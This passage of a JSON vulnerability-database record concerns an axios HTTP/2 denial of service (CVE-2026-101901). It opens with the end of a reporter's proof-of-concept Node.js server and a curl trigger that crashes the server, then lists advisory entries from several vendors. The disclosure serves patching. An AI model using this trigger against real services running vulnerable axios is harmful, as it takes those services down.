${response.status}`);\n  } catch (error) {\n    // Check for the specific error indicating session limit reached\n    if (error.isAxiosError \u0026\u0026 error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {\n      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);\n      res.writeHead(500, { 'Content-Type': 'text/plain' });\n      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);\n    } else {\n      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message);\n      res.writeHead(500, { 'Content-Type': 'text/plain' });\n      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`);\n    }\n  }\n});\n\nserver.listen(PORT, () =\u003e {\n  console.log(`PoC Server listening on http://localhost:${PORT}`);\n  console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`);\n  console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`);\n  console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`);\n});\n```\n\ni tested all that in latest git version, after starting the server.cjs, to trigger that you just need do\n\n```rust\nrelunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi\ncurl: (52) Empty reply from server\n```\n\nthat is extremly simple to trigger\n\nit confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash\n\u003c/details\u003e\n\n---","status":"published","published":"2026-09-30T15:01:07Z","modified":"2026-09-30T15:15:04.061469672Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:37.864461Z"},{"id":"RHSA-2026:74869","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-03T10:17:00Z","modified":"2026-10-10T10:21:33Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74871","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-03T10:17:01Z","modified":"2026-10-20T10:43:37.161085244Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74872","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-03T10:17:01Z","modified":"2026-10-03T10:32:34.60846098Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"UBUNTU-CVE-2026-101901","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T18:17:00Z","modified":"2026-10-17T12:57:55.263416861Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:55:58.519486Z"},{"id":"CLSA-2026-1790854830","title":"TuxCare security update for axios (10 CVEs)","description":"TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.18.1-tuxcare.1.","status":"published","published":"2026-10-01T11:40:30Z","modified":"2026-10-15T09:47:59.946123353Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792190983","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.13.5-tuxcare.2.","status":"published","published":"2026-10-16T22:49:43Z","modified":"2026-10-17T01:30:04.259235355Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792193199","title":"TuxCare security update for axios (4 CVEs)","description":"TuxCare rebuilt axios to address 4 CVEs. Fixed in 1.16.0-tuxcare.3.","status":"published","published":"2026-10-16T23:26:39Z","modified":"2026-10-17T01:30:05.018301605Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792429081","title":"TuxCare security update for axios (12 CVEs)","description":"TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.17.0-tuxcare.3.","status":"published","published":"2026-10-19T16:58:01Z","modified":"2026-10-19T19:15:21.236533641Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792429317","title":"TuxCare security update for axios (11 CVEs)","description":"TuxCare rebuilt axios to address 11 CVEs. Fixed in 1.18.0-tuxcare.2.","status":"published","published":"2026-10-19T17:01:57Z","modified":"2026-10-19T19:15:21.243167107Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792447518","title":"TuxCare security update for axios (7 CVEs)","description":"TuxCare rebuilt axios to address 7 CVEs. Fixed in 1.16.1-tuxcare.1.","status":"published","published":"2026-10-19T22:05:18Z","modified":"2026-10-20T01:45:08.302153175Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792488905","title":"TuxCare security update for axios (12 CVEs)","description":"TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.19.0-tuxcare.1.","status":"published","published":"2026-10-20T09:35:05Z","modified":"2026-10-20T13:45:11.467770435Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1793101849","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.","status":"published","published":"2026-10-27T11:50:49Z","modified":"2026-10-27T13:30:17.542584318Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793109367","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.13.6-tuxcare.1.","status":"published","published":"2026-10-27T13:56:07Z","modified":"2026-10-27T19:30:04.48363845Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1794060370","title":"TuxCare security update for axios (12 CVEs)","description":"TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.15.0-tuxcare.1.","status":"published","published":"2026-11-07T15:06:10Z","modified":"2026-11-07T19:00:38.800695575Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"ROOT-APP-NPM-CVE-2026-101901","title":"CVE-2026-101901 in axios - Patched by Root","description":"Root has patched CVE-2026-101901 in the axios package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-07T12:10:51Z","modified":"2026-10-07T13:15:10.028237278Z","updated_at":"2026-11-02T15:53:27.362922Z"}]}}